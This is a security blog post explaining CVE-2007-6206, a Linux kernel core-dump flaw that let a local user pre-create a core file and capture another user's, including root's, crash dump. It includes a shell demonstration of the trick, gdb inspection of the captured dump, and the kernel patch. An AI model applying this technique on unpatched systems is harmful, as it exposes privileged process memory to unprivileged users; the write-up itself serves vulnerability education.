xorl %eax, %eax

CVE-2007-6206: DO_COREDUMP 2007

leave a comment »

This is another bug that a guy that saw my notes found interesting and I think it worths a post. So.. on 10/07 of 2004, Blake Frantz (also known as trew) reported this bug to the Linux Kernel Bug Tracker. This was forgotten for a few years, and then, on 2007 Natalie Protasevich brought the issue back and there was at last patched. The bug affects 2.4 and 2.6 kernel trees up to 2.6.24-rc3 release and it’s a design flaw. If you have a look at fs/exec.c around line 1780 you’ll see something like:

     retval = binfmt->core_dump(signr, regs, file, core_limit);

This is the call that performs the actual core dump which gives us our lovely core files. Before issuing this function, the kernel performs some checks which are:

/* AK: actually i see no reason to not allow this for named pipes etc., but keep the previous behaviour for now. */
if (!ispipe && !S_ISREG(inode->i_mode))
           goto close_fail;
if (!file->f_op)
           goto close_fail;
if (!file->f_op->write)
           goto close_fail;
if (!ispipe && do_truncate(file->f_path.dentry, 0, 0, file) != 0)
          goto close_fail;

All of these checks are simple to explain, starting from upwards we have: check that it’s not a named pipe and we’re dealing with a regular file, next, check that there are available file operations, next validate that we have write operation available and at last, check that it isn’t a pipe and continue if do_truncate() compiles successfully. As you can see, the above checks do not check which user is performing the core dump task and in which user the core file belongs to. This means, that we can overwrite any core dump file since do_coredump() does not care about UIDs. Here is the proof of this assumption. Let’s say that root compiled and used an application like this:

#include <stdio.h>

int main(int argc, char *argv[]) {
    printf(“%s\n”, argv[1]);
    return 0; }

The problem with the above code is that by default, GCC will optimize this code to use puts(3) instead of printf(3). However, since we don’t check user’s arguments the user may not provide any string. The all time classic printf(3) when attempting to print a NULL pointer it will output: (null) but on the other hand, puts(3) will try to print it and thus it will crash. Now, let’s imagine that we have write access in the directory where this program is located. Then we can create a coredump file there:

bash-3.2$ cat crash.c
int main(void) {
free(time());
return 0; }

bash-3.2$ gcc -o crash crash.c ; rm crash.c
bash-3.2$ ulimit -c unlimited
bash-3.2$ ./crash
Segmentation fault (core dumped)
bash-3.2$ ls -l core
-rw-------  1  xorl  xorl  143360  2008-02-07  19:43  core
bash-3.2$

Now, what will happen if root tries to execute his program and the latter crashes? Let’s see…

bash-3.2# gcc -o root root.c
bash-3.2# rm root.c
bash-3.2# chmod 700 root
bash-3.2# ls -l root
-rwx------  1  root  root   6301  2008-02-07 19:40  root
bash-3.2# ./root Hello!
Hello!
bash-3.2#

And now.. let’s crash it:

bash-3.2# ./root
Segmentation fault (core dumped)
bash-3.2# ls -l core
-rw-------  1   xorl xorl  140060    2008-02-07   19:50    core

bash-3.2#

As you can see root’s coredump used the file it found there to store its core file because do_coredump() doesn’t care what UID the file has :P Now, the unprivileged user can login and really easily study the coredump as if it was owned by his user (which is true in this case).

bash-3.2$ gdb -q -c core
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./root'.
Program terminated with signal 11, Segmentation fault.
#0  0xb7e0a253 in ?? ()
(gdb) info reg ebx
ebx            0xb7ed9ff4       -1209163788
(gdb)

I believe you can already imagine the patch but for consistency purposes, here is the patch used to fix this vulnerability:

        if (!ispipe && !S_ISREG(inode->i_mode))
                goto close_fail;
+       /*
+        * Dont allow local users get cute and trick others to coredump
+        * into their pre-created files:
+        */
+       if (inode->i_uid != current->fsuid)
+               goto close_fail;
        if (!file->f_op)
                goto close_fail;
        if (!file->f_op->write)

If you want to bring this bug to its limits you can try something like what the brilliant hacker, Silvio Cesare thought on 1999. That is, to reconstruct an ELF binary from its core image, for more info click here. This bug is also present on FreeBSD and OpenBSD where you don’t even need a bug to crash an application. You can use the cute gcore(1) utility and grab coredumps at will!! That’s all with this bug. Old but cool.. definitely cool! :P

Written by xorl

January 15, 2009 at 00:34

Posted in bugs, freebsd, linux

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s